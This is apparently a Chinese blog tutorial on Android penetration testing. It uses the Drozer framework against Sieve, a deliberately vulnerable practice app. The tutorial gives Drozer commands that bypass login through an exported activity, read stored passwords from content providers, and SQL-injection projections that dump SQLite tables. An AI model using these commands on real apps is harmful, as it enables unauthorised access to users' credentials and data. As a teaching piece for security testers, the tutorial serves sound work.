跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Shell / Bash大前端java

APP 渗透测试漏洞实战教程

基于 Drozer 框架的 Android APP 渗透测试流程。涵盖环境搭建(夜神模拟器、ADB、Python2.7)、组件分析(Activity、Service、Provider、Broadcast)及漏洞扫描。通过 Drozer 命令列出应用包名、检测暴露组件权限、探测 Content Provider 注入及数据读取风险。演示了如何绕过登录验证及利用 SQL 注入获取敏感数据,旨在帮助安全人员掌握移动端基础漏洞挖掘方法。

路由之心发布于 2025/2/7更新于 2026/10/22103 浏览
APP 渗透测试漏洞实战教程

0x00 文章前言

APP 测试一般有三步(个人理解):

  1. 功能点测试:类似 Web 测试
  2. ADB 调试:框架检测(本文所介绍内容)
  3. 反编译

安卓应用会用到四大组件,我们简单了解下:

  • Activity 组件: 负责展示用户信息和结果处理
  • Service 组件: 后台计算,获取下载结果
  • Content Provider 组件: 用于获取应用数据等相关信息
  • Broadcast Receiver 组件: 用于获取广播信息

APP 渗透测试截图

APP 渗透测试截图

0x01 所需环境

  • 夜神模拟器: https://www.yeshen.com/
  • ADB 安卓调试器: http://adbdownload.com/

下载 ADB 之后,将其安装根目录路径添加到环境变量就可以使用 ADB 命令。

  • Python 2.7、JAVA 1.8
  • Drozer 环境: https://labs.mwrinfosecurity.com/tools/drozer/
  • drozer-agent-2.3.4.apk: 安装至模拟器

APP 渗透测试截图

APP 渗透测试截图

如下路径需添加到系统中的环境变量:

APP 渗透测试截图

下图路径下的四个模块文件夹,复制到 Python 2.7 对应目录下,Python 安装目录可找到相同路径:

APP 渗透测试截图

使用时可能会遇到一些模块未安装,但是安装时又提示 pip 中找不到,可以用其他版本替代:

python2 -m pip install google
python2 -m pip install protobuf
python2 -m pip install OpenSSL

Sieve: 一款用于 APP 漏洞测试的应用

APP 渗透测试截图

0x02 存在问题

# 获取安装包列表 run app.package.list

APP 渗透测试截图

如果中文乱码了,修改 package.py 源码,加入如下内容:

import sys
reload(sys)
sys.setdefaultencoding('utf-8')

APP 渗透测试截图

往下划,找到如下内容,在前面加上 u:

APP 渗透测试截图

APP 渗透测试截图

0x03 Sieve 安装

拖动 Sieve.apk 进入模拟器,然后会自动安装:

APP 渗透测试截图

打开后需要设置密码,且长度需要为 16 位长度,我们设置:1234567812345678

APP 渗透测试截图

接下来需要设置一个 PIN 码,我们设置:1234

APP 渗透测试截图

完成后,输入设置的 16 位密码进行登入,然后添加测试数据:

APP 渗透测试截图

APP 渗透测试截图

APP 渗透测试截图

APP 渗透测试截图

0x04 环境连接

模拟器开启 Drozer 服务,打开后点击右下角按钮,文字显示为开启并显示运行服务时,即为成功开启服务:

APP 渗透测试截图

APP 渗透测试截图

打开 CMD 窗口,输入命令开始后续操作:

# 查看端口及连接 adb devices

APP 渗透测试截图

# 连接模拟器 adb connect 127.0.0.1:62001
# 本地端口转发至模拟器 adb forward tcp:31415 tcp:31415

APP 渗透测试截图

# 在确认 drozer 服务端开启的情况下,输入命令进行连接 drozer console connect
# drozer console connect --server ip

APP 渗透测试截图

如果第一次进入的时候报错,提示 java 环境变量找不到的话,需要在当前用户下创建一个.drozer_config 文件:

[executables]
java=C:\Program Files\Java\jdk1.8.0_201\java.exe
javac=C:\Program Files\Java\jdk1.8.0_201\javac.exe

重新连接就可以了。

APP 渗透测试截图

0x05 常用命令

常用测试命令作用
基本语法run 具体命令 [-参数]
run app.package.list列出所有包名 (软件)
run app.package.info -a 包名查看某个软件 (包名) 的具体信息
run app.package.attacksurface 包名查看某个软件的攻击面
run app.activity.info -a 包名查看某个软件的 activity 组件的具体攻击面
run app.activity.start --component 包名 activity 组件名启动某个 activity
run app.provider.info -a 包名查看某个软件的 provider 组件的具体攻击面
run app.provider.finduri 包名列出某个软件的 URI
run app.provider.query content://xxxxxURI查看某个 URI 内容
run app.provider.query content://xxxxxURI --projection "'"检测某个 URI 是否存在注入
run app.provider.query content://xxxxxURI --selection "'"检测某个 URI 是否存在注入
run app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER WHERE type='table';--"针对某个 URI 进行注入
run app.provider.read content://xxxxxURI通过某个 URI 读取文件
run app.provider.download content://xxxxxURI 主机目录/文件名通过某个 URI 下载文件
run app.service.info -a 包名查看某个软件的 service 组件的具体攻击面
run app.service.start --action 某个 action启动某个 service
run app.broadcast.info -a 包名查看某个软件的 broadcast 组件的具体攻击面
run app.broadcast.send -action 某个 action --extra TYPE KEY VALUE执行某个 broadcast 组件的 action,并传递参数
run scanner.provider.finduris -a 包名寻找可访问 URI
run scanner.provider.traversal -a 包名探测存在目录遍历的 URI
run scanner.provider.injection -a 包名探测存在注入的 URI

APP 渗透测试截图

0x06 测试开始

# 获取安装包列表 run app.package.list

APP 渗透测试截图

# 获取安装包详细信息 run app.package.info -a 包名

APP 渗透测试截图

# 获取目标应用所使用的组件情况 run app.package.attacksurface 包名

下图可见其潜在被导出的且暴露在外的相关组件种类及数量:

APP 渗透测试截图

# 查看目标应用所使用的 activity 组件详细信息 run app.activity.info -a 包名

下图可见其三个组件权限均为:null,也就代表无需权限可对其进行操作:

APP 渗透测试截图

# 测试其某个 activity 组件 run app.activity.start --component 包名 activity 组件名

下图可见绕过了登录验证,直接进入了页面:

APP 渗透测试截图

# 获取 Content Providers 组件信息 run app.provider.info -a 包名

如下图可见,所框选的两个 Providers 组件,无需权限即可进行操作,只有 com.mwr.example.sieve.DBContentProvider 的 /key 目录需要权限:

APP 渗透测试截图

# 列出所使用的 URI,并检测是否存在可被获取数据的 URI run scanner.provider.finduris -a 包名

扫描结果可见,存在三条可被读取的 URI:

APP 渗透测试截图

# 尝试对某 URI 进行数据读取 run app.provider.query URI 路径

下图可见,成功读取到应用内的用户相关信息、应用密码等:

APP 渗透测试截图

APP 渗透测试截图

# 探测应用中可能存在注入的 URI run scanner.provider.injection -a 包名

探测显示,如下 URI 中的 Projection、Selection 参数存在注入:

APP 渗透测试截图

# 指定 URI 与参数,并插入单引号验证是否存在注入 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

下图可见,出现了报错,那八成是有注入了:

APP 渗透测试截图

# 尝试构造通用语句(安卓应用大多使用 SQLite),列出所有的数据表 run app.provider.query URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"

APP 渗透测试截图

# 指定某个表,对其内容通过注入进行数据获取 run app.provider.query URI --projection "* from Key;--"

APP 渗透测试截图

总结

通过以上步骤,我们完成了基于 Drozer 框架的 Android 应用基础安全测试。重点在于识别暴露的 Activity、Service、Content Provider 和 Broadcast Receiver 组件,并利用 SQL 注入等漏洞获取敏感数据。在实际渗透测试中,应结合业务逻辑深入分析,确保应用组件权限最小化,防止未授权访问和数据泄露。

目录

  1. 获取安装包列表 run app.package.list
  2. 查看端口及连接 adb devices
  3. 连接模拟器 adb connect 127.0.0.1:62001
  4. 本地端口转发至模拟器 adb forward tcp:31415 tcp:31415
  5. 在确认 drozer 服务端开启的情况下,输入命令进行连接 drozer console connect
  6. drozer console connect --server ip
  7. 获取安装包列表 run app.package.list
  8. 获取安装包详细信息 run app.package.info -a 包名
  9. 获取目标应用所使用的组件情况 run app.package.attacksurface 包名
  10. 查看目标应用所使用的 activity 组件详细信息 run app.activity.info -a 包名
  11. 测试其某个 activity 组件 run app.activity.start --component 包名 activity 组件名
  12. 获取 Content Providers 组件信息 run app.provider.info -a 包名
  13. 列出所使用的 URI,并检测是否存在可被获取数据的 URI run scanner.provider.finduris -a 包名
  14. 尝试对某 URI 进行数据读取 run app.provider.query URI 路径
  15. 探测应用中可能存在注入的 URI run scanner.provider.injection -a 包名
  16. 指定 URI 与参数,并插入单引号验证是否存在注入 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
  17. 尝试构造通用语句(安卓应用大多使用 SQLite),列出所有的数据表 run app.provider.query URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  18. 指定某个表,对其内容通过注入进行数据获取 run app.provider.query URI --projection "* from Key;--"

更多推荐文章

查看全部
  • 产品经理 AI 学习地图:从入门到精通的完整指南
  • 数据结构:红黑树
  • Linux 网络编程实战:HTTP 协议解析与 C++ 服务器实现
  • Android 自学指南:从入门到大厂的技术成长路线
  • Next Greater Element I 问题解析与实现
  • C++ 基础:链表、缓冲区与指针概念
  • 大模型如何重塑世界:百度创始人李彦宏演讲核心观点
  • VMware 虚拟机安装 CentOS 并部署 OpenClaw
  • Qt C++ 实战:Modbus RTU 协议详解及主站实现
  • BaseCTF Week3 Web & Misc 解题复盘
  • GitHub Copilot Plan 模式核心特点与使用场景分析
  • Byte Pair Encoding (BPE) 分词算法详解与代码实现
  • C++ 高频面试考点:语言基础与预处理
  • 基于 AutoGen 框架快速构建 AI Agent 实现自动化绘图任务
  • C++ Vector 容器详解
  • MySQL 约束详解:非空、主键、外键的核心作用与实战
  • IBM DB2 常用命令与基础操作指南
  • pytestx:专注任务调度的接口自动化测试平台
  • 人工智能进化全景:从专用工具到超级智能的跃迁
  • 强化学习基础与智能决策系统开发

相关免费在线工具

  • Keycode 信息

    查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online

  • Escape 与 Native 编解码

    JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online

  • JavaScript / HTML 格式化

    使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online

  • JavaScript 压缩与混淆

    Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online